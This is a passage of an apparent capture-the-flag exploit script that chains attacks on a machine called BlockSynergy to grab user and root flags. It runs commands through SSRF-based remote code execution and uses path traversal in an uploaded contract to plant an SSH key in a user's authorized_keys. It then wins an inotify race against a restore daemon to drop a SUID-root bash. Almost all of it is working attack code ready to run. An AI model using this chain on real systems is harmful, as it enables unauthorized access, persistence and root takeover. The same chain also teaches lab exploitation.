    probe = ssrf_rce_output(w, pub, "grep${IFS}1001${IFS}etc${IFS}passwd")
    devuser = "hank"
    if probe:
        m = re.search(r"^(\w+):x:1001:", probe, re.M)
        if m: devuser = m.group(1)
    log("    dev user = %s" % devuser)

    contract = {
        "name": "x", "id": 1, "owner": "dev", "debug": "True",
        "logic": {"mint": "allow"}, "storage": {"balances": {}, "total_supply": 0},
        "hooks": {"on_mint": "log"},
        "__meta__": {"log_file": "../../../../home/%s/.ssh/authorized_keys" % devuser,
                     "log_content": {"on_mint": "\n%s\n" % pubkey}},
    }
    driver = r'''
import json,urllib.request,http.cookiejar,urllib.parse,re
C=%s
cj=http.cookiejar.CookieJar();op=urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
B="http://127.0.0.1:5000"
def mp(fields,files):
    b="----b";body=[]
    for k,v in fields.items():
        body.append(("--%%s\r\nContent-Disposition: form-data; name=\"%%s\"\r\n\r\n%%s\r\n"%%(b,k,v)).encode())
    for k,(fn,ct,cty) in files.items():
        body.append(("--%%s\r\nContent-Disposition: form-data; name=\"%%s\"; filename=\"%%s\"\r\nContent-Type: %%s\r\n\r\n"%%(b,k,fn,cty)).encode()+ct.encode()+b"\r\n")
    body.append(("--%%s--\r\n"%%b).encode())
    return b"".join(body),"multipart/form-data; boundary=%%s"%%b
d,ct=mp({"action":"upload_contract"},{"contract_file":("c.json",json.dumps(C),"application/json")})
r=urllib.request.Request(B+"/dashboard",data=d,headers={"Content-Type":ct},method="POST")
h=op.open(r,timeout=20).read().decode(errors="replace")
m=re.findall(r"Contract #(\d+)",h);cid=m[-1] if m else "0"
op.open(urllib.request.Request(B+"/dashboard",data=urllib.parse.urlencode({"action":"load_contract","id":cid}).encode(),method="POST"),timeout=20).read()
op.open(urllib.request.Request(B+"/dashboard",data=urllib.parse.urlencode({"action":"contract_mint","contract_mint_amount":"1"}).encode(),method="POST"),timeout=20).read()
print("done")
''' % json.dumps(contract)
    remote_py = "/tmp/.%s.py" % TAG
    ssrf_run(w, pub, "echo %s|xxd -r -p > %s" % (driver.encode().hex(), remote_py))
    time.sleep(1)
    ssrf_run(w, pub, "python3 %s" % remote_py)
    time.sleep(2)

    def ssh(user, cmd, tmo=25):
        return subprocess.run(
            ["ssh", "-i", priv, "-o", "StrictHostKeyChecking=no",
             "-o", "UserKnownHostsFile=/dev/null", "-o", "BatchMode=yes",
             "-o", "ConnectTimeout=8", "%s@%s" % (user, target), cmd],
            capture_output=True, text=True, timeout=tmo)

    ok = False
    for _ in range(6):
        r = ssh(devuser, "id")
        if r.returncode == 0 and "uid=" in r.stdout:
            ok = True; break
        time.sleep(2)
    if not ok: die("SSH as %s failed after key write" % devuser)
    log("    SSH as %s established" % devuser)

    # ---- step 4.5: user flag (read via the SUID .diag once root lands, or directly) ----
    log("step 4.5: retrieving user flag...")
    user_flag = None
    r = ssh(devuser, "cat /home/walter/user.txt 2>/dev/null")
    if r.returncode == 0 and re.search(r"[a-f0-9]{32}", r.stdout):
        user_flag = r.stdout.strip()

    # ---- step 5: root via the restore-daemon TOCTOU ----
    log("step 5: root via restore-daemon inotify race")
    remote_mark = "/opt/blocksynergy/.diag"
    build = r'''
import tarfile,io,os,time
W="/var/restore_work";SRC=os.path.join(W,".pl_%s.tar.gz")
b=open("/bin/bash","rb").read()
t=tarfile.open(SRC,"w:gz")
ti=tarfile.TarInfo("opt/blocksynergy/.diag");ti.size=len(b);ti.mode=0o4755;ti.uid=0;ti.gid=0;ti.mtime=int(time.time())
t.addfile(ti,io.BytesIO(b));t.close()
print(SRC,os.path.getsize(SRC))
''' % TAG
    ssh(devuser, "python3 -c \"%s\"" % build.replace('"', '\\"'), tmo=40)

    racer = r'''
import ctypes,ctypes.util,os,shutil,struct,time
W="/var/restore_work";TRIG="/opt/staging/restore";SRC=os.path.join(W,".pl_%s.tar.gz")
MARK="/opt/blocksynergy/.diag";NAMES=("_opt_blocksynergy.tar.gz","_opt_staging.tar.gz")
CW,CN,CR,MV=0x8,0x10,0x100,0x80
libc=ctypes.CDLL(ctypes.util.find_library("c"),use_errno=True)
fd=libc.inotify_init();libc.inotify_add_watch(fd,W.encode(),CW|CN|CR|MV)
os.set_blocking(fd,False)
end=time.time()+400;done=set();lt=0
while time.time()<end:
    if os.path.exists(MARK):break
    if time.time()-lt>2:
        if not os.path.exists(TRIG):
            try:open(TRIG,"w").close()
            except Exception:pass
        lt=time.time()
    try:buf=os.read(fd,8192)
    except BlockingIOError:time.sleep(0.002);continue
    except Exception:continue
    i=0
    while i+16<=len(buf):
        _w,mask,_c,ln=struct.unpack_from("iIII",buf,i);i+=16
        nm=buf[i:i+ln].split(b"\x00",1)[0].decode(errors="replace");i+=ln
        if not nm or nm.startswith(".pl_") or nm.endswith(".n"):continue
        if mask&(CW|MV) and nm in NAMES:done.add(nm)
        elif mask&CN and nm in done:
            t=os.path.join(W,nm)
            try:shutil.copyfile(SRC,t+".n");os.rename(t+".n",t)
            except Exception:pass
            done.discard(nm)
print("won" if os.path.exists(MARK) else "timeout")
''' % TAG
    ssh(devuser, "setsid python3 -c \"%s\" >/tmp/.r_%s.log 2>&1 &" % (racer.replace('"', '\\"'), TAG), tmo=15)
    log("    racer armed; waiting for the restore cycle (up to ~7 min)...")

    root_flag = None
    for _ in range(70):
        r = ssh(devuser, "test -u %s && %s -p -c 'id; cat /root/root.txt'" % (remote_mark, remote_mark))
        if r.returncode == 0 and re.search(r"[0-9a-f]{32}", r.stdout):
            root_flag = re.search(r"[0-9a-f]{32}", r.stdout).group(0); break
        time.sleep(6)
    if not root_flag:
        die("root not obtained within the window; re-run (backup cron re-publishes every ~5 min)")
    log("root achieved.")

    if not user_flag:
        r = ssh(devuser, "%s -p -c 'cat /home/walter/user.txt'" % remote_mark)
        if r.returncode == 0 and re.search(r"[a-f0-9]{32}", r.stdout):
            user_flag = r.stdout.strip()

    print("\n" + "=" * 40)
    print("USER FLAG : %s" % (user_flag or "NOT FOUND"))
    print("ROOT FLAG : %s" % root_flag)
    print("=" * 40)
    shutil.rmtree(tmpdir, ignore_errors=True)


def main():
    ap = argparse.ArgumentParser(description="BlockSynergy full chain -> user.txt + root.txt")
    ap.add_argument("-t", "--target", required=True)
    ap.add_argument("--port", type=int, default=8080)
    ap.add_argument("--scheme", choices=["http", "https"], default="http")
    ap.add_argument("--check", action="store_true",
                    help="stop after proving RCE (prints the web user's id) — no changes made")
    a = ap.parse_args()
    run(a.target, a.port, a.scheme, a.check)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        sys.exit(130)
    except urllib.error.URLError as e:
        die("cannot reach the web app: %s" % e.reason)
    except Exception as e:
        die("%s: %s" % (type(e).__name__, e))